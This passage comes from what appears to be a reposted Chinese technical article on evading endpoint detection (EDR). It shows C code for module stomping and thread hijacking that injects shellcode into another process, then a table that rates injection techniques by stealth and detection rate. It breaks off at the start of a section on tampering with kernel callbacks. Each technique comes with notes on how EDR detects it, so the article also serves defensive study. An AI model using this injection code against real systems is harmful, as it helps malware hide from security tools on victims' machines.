WriteProcessMemory(hProcess, pRemoteText, shellcode, size,&nbsp;NULL);
VirtualProtectEx(hProcess, pRemoteText, size, oldProtect, &oldProtect);

检测局限:不会产生 VirtualAllocEx 分配的”孤立内存”,但 EDR 可通过 DLL 内容完整性校验(对比磁盘与内存 .text 段哈希)检测到篡改。

2.7.4 线程劫持(Thread Hijacking)

挂起目标进程的现有线程,修改其执行上下文(RIP)来执行 shellcode。不调用 CreateRemoteThread,减少了一个强检测信号。

// 1. 在目标进程分配内存(RW)→写入shellcode→改属性(RX)
PVOID pRemote = VirtualAllocEx(hProcess,&nbsp;NULL, size, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemote, shellcode, size,&nbsp;NULL);
VirtualProtectEx(hProcess, pRemote, size, PAGE_EXECUTE_READ, &oldProtect);
// 2. 枚举线程→挂起→修改RIP→恢复
HANDLE hThread = OpenThread(THREAD_SUSPEND_RESUME | THREAD_SET_CONTEXT, FALSE, threadId);
SuspendThread(hThread);
CONTEXT ctx = { .ContextFlags = CONTEXT_FULL };
GetThreadContext(hThread, &ctx);
ctx.Rip = (DWORD64)pRemote;
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);

局限:SuspendThread + SetThreadContext 组合已被 EDR 视为可疑模式;线程恢复后 RIP 不在任何合法模块范围内。

进程注入技术对比:

| 注入方式 | 关键API | 隐蔽性 | 检出率 | EDR检测维度 | 适用场景 | | — | — | — | — | — | — | | 经典远程线程注入 | CreateRemoteThread | ★☆☆☆☆ | ★★★★★ | 全维度检出 | 教学演示(实战不用) | | 进程镂空 | CreateProcess(SUSPENDED)+NtUnmap | ★★★☆☆ | ★★★☆☆ | 内存映像校验 | 伪装合法进程 | | 模块镂空 | LoadLibrary+覆盖.text段 | ★★★★☆ | ★★☆☆☆ | DLL完整性校验 | 不分配新内存 | | 线程劫持 | SuspendThread+SetContext | ★★★☆☆ | ★★★☆☆ | 调用栈回溯 | 避免CreateRemoteThread | | APC注入 | QueueUserAPC | ★★★☆☆ | ★★★☆☆ | APC队列监控 | 线程注入替代 | | 进程双写 | NtWriteVirtualMemory×2 | ★★★★☆ | ★★☆☆☆ | 写入时序关联 | 绕过内存监控 | | 回调执行 | EnumWindows+Callback | ★★★★★ | ★☆☆☆☆ | 回调来源验证 | 高级EDR对抗 |

2.8 应用层对抗技术总结


三、内核层对抗技术

内核层对抗直接在 Ring 0 层面操作,技术门槛更高但隐蔽性也更强,是高级 APT 组织和红队的核心对抗领域。

3.1 内核回调篡改

3.1.1 回调篡改原理

正常流程:
┌──────────┐ &nbsp; &nbsp; ┌──────────────┐ &nbsp; &nbsp; ┌──────────────┐ &nbsp; &nbsp; ┌──────────┐

`


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全分析与研究 pandazhengzheng pandazhengzheng《EDR终端对抗技术深度剖析》

不一样的体会 网络安全文章

不一样的体会

文章总结: 作者分享在深圳求职期间的个人体验,强调保持简历真实性通过面试,处理无聊情绪的方法如接受情绪和散步,反思工作强度与自我调节的重要性。建议求职者避免说谎
评论:0   参与:  0